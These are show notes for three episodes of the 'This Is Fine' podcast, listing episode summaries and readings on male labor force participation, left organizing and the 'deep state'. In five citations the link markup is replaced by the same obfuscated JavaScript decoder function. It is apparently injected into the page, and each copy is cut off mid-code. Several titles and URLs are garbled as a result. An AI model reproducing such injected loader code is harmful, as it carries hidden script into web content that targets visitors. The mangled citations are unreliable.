• Kevin Quealy and Margot Sanger-Katz, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-who-loses-under-republicans-health-care-plan.html">Who Wins and Who Loses Under Republicans’ Health Care Plan,” The Upshot, New York Times
• Andrew Sullivan, “Why Do Democrats Feel So Sorry for Hillary Clinton?” New York Magazine
• Sam Thielman, “FCC weighs laws blocking local internet providers from competing with telecoms,” The Guardian
• David Morris, “Private Telecoms Get Another Win Over Municipal Broadband in Tennessee,” Fortune
• Matt Stoller, “I'd be really curious how anti-monopoly messaging would work, in either party. Basically running against Comcast.”  Twitter.  [We channeled the future Stoller tweet.]
• Max Fisher, “How Jimmy Carter Saved Craft Beer,” The Atlantic

Welcome to This Is Fine episode 1.9: Sons of Autarky. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share this link with your favorite dad or uncle.

In this week’s podcast, we talk about how the crisis of declining male labor force participation, the opioid epidemic, the Trump vote, and racism are all connected by one powerful narrative, autarkic patriarchal white labor (APWL). That’s the belief that a man's purpose is to provide for his family and that purpose can be only honored by certain types of work. Examining APWL, we look at some of the damage this story many men tell themselves has caused, and we look for a way out.

We’ll return in two weeks with This is Fine 1.10(!), when we'll discuss industrial policy in the United States.

Works referenced on the podcast (in order of discussion):

• Jeremy Reff, “I would like to buy what Chris Arnade is selling...(Autarkic Patriarchal White Labor),” Facebook
• Chris Arnade, “Divided by Meaning,” Medium
• "The Upshot," New York Times:
• Aisch and Gebeloff: “The Changing Nature of Middle-Class Jobs”
• Claire Cain Miller
  • “Why Men Don't Want the Jobs Mostly Done by Women”
  • “As Women Take Over a Male Dominated Field, the Pay Drops”
  • “More Men Are Taking Women's Jobs, Usually Disadvantaged Men”
  • “Why What You Learned in Preschool May be Crucial at Work”
• Binyamin Appelbaum, “The Vanishing Male Worker: How America Fell Behind”
• Randy Olson, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andalolson.com/2014/06/14/percentage-of-bachelors-degrees-conferred-to-women-by-major-1970-2012/" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://www.randalolson.com/2014/06/14/percentage-of-bachelors-degrees-conferred-to-women-by-major-1970-2012/&source=gmail&ust=1491529012871000&usg=AFQjCNEN9S14JQPRuyL7BcEKrfQIBGlTIg">Percentage of Bachelor's Degrees Conferred to Women by Major (1970-2012),” function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andalolson.com/" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://randalolson.com&source=gmail&ust=1491529012871000&usg=AFQjCNEPCmhQmpuVstJmq2uY9cN2tDHkWg">randalolson.com
• Joan Williams, “What so Many People Don't Get About the US Working Class,” Harvard Business Review
• Chris Ladd, “Socialism for White People,” Political Orphans
• Thomas Edsell, “The Increasing Significance of the Decline of Men,” New York Times
• Jeff Guo, “The Shocking Pain of American Men,” Washington Post
• Autor et al., “Family Disadvantage and the Gender Gap in Behavioral and Educational Outcomes,” NBER
• Erich Fromm, Escape from Freedom
• Peter Frase, Four Futures: Life After Capitalism
• Kurt Vonnegut, Player Piano
• Hetscho, et al., “Changing Identity: Retiring from Unemployment,” The German Socio-Economic Panel Study, DIW Berlin
• Stephanie Coontz, “Do Millennial Men Want Stay-at-Home Wives?” New York Times

Background Reading (including some of the academic work that informs much of the above):

• David Autor, “The Polarization of Job Opportunities in the US Labor Market,” Center for American Progress/MIT
• David Autor and Melanie Wasserman, “Wayward Sons: The Emerging Gender Gap in Labor Markets and Education,” Third Way/MIT
• Susan Chira, “Men Need Help.  Is Hillary Clinton the Answer?” New York Times
• David Deming, “The Growing Importance of Social Skills in the Labor Market,” Harvard/NBER
• Dill et al., “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-middle-skill-health-care-jobs/" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://workinprogress.oowsection.org/2016/07/07/does-the-glass-escalator-compensate-for-the-devaluation-of-care-work-the-careers-of-men-in-low-and-middle-skill-health-care-jobs/&source=gmail&ust=1491529012872000&usg=AFQjCNGMicN8PBomi3kggPaXdyEHEq8sZQ">Does the ‘Glass Escalator’ Compensate for the Devaluation of Care Work Occupations?” Gender & Society
• Gatta and Roos, “Rethinking Occupational Integration,” Rutgers
• Lawrence Katz, “Long-Term Unemployment in the Great Recession,” Harvard
• Alan Krueger, “Where Have All the Workers Gone?” Princeton/NBER
• Liza Mundy, “Why is Silicon Valley So Awful to Women?,” The Atlantic
• Obama White House Council of Economic Advisors, “The Long-term Decline in Prime Age Male Labor Force Participation”
• Richard Reeves and Isabel Sawhill, “Men’s Lib!” New York Times

Welcome to This is Fine, Episode 1.8: Any Organized Party. Thank you for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and disseminate it at the next party congress.

In this week's podcast, we talk with writer, academic, activist, and erstwhile Twitter-opinion-haver Freddie DeBoer about the challenges of left organizing in the runup to the 2018 elections. We contemplate whether the left can usefully cooperate with the Democratic Party, ask what a more small-d-democratic platform would look like, and bemoan the broken media ecosystem.

We'll be back in two weeks to talk about a theory of how white patriarchy interacts with the labor market. In the meantime, please spread the word and send us any questions or guest suggestions. Also, don't forget to call your Senators and tell them to filibuster Neil Gorsuch.

Works referenced:
* Rick Perlstein, Before the Storm
* Salar Mohandesi, "Identity Crisis"

Welcome to This Is Fine, episode 1.7: How Deep Is Your State? Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share this link with your favorite subject of a FISA warrant.

In this week’s podcast, we talk Turkey, or specifically the differences between the Deep State in a country like Turkey and the law enforcement and intelligence services in the U.S., particularly their leaks about the Trump campaign's involvement with Russia.

We’ll return in two weeks with This is Fine, episode 1.8, when we'll discuss the left-liberal split and organizing in advance of 2018.

Please send us listener questions or complaints (and guest requests) for This is Fine. For those of you calling your Senators and Representatives: stop ACA repeal.

Mentioned (in order of discussion):
* Kelly Couturier, "Turkish Leader Escapes Assassination," Washington Post
* Dexter Filkins, "The Deep State," New Yorker
* Zeynep Tufekci, "6:40 AM 2/17/17," Twitter
* Tim Weiner, Enemies: A History of the FBI
* U.S. Senate, function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andhistory/history/common/investigations/ChurchCommittee.htm">Church Committee
* FBI, COINTELPRO
* Department of Justice, FISA
* Matthew Rosenberg et al., "Obama Administration Rushed to Preserve Intelligence of Russia Election Hacking"
* Mike Lofgren, The Deep State: the Fall of the Constitution and the Rise of a Shadow Government
* Jonathan Rauch, Demosclerosis: The Silent Killer of American Government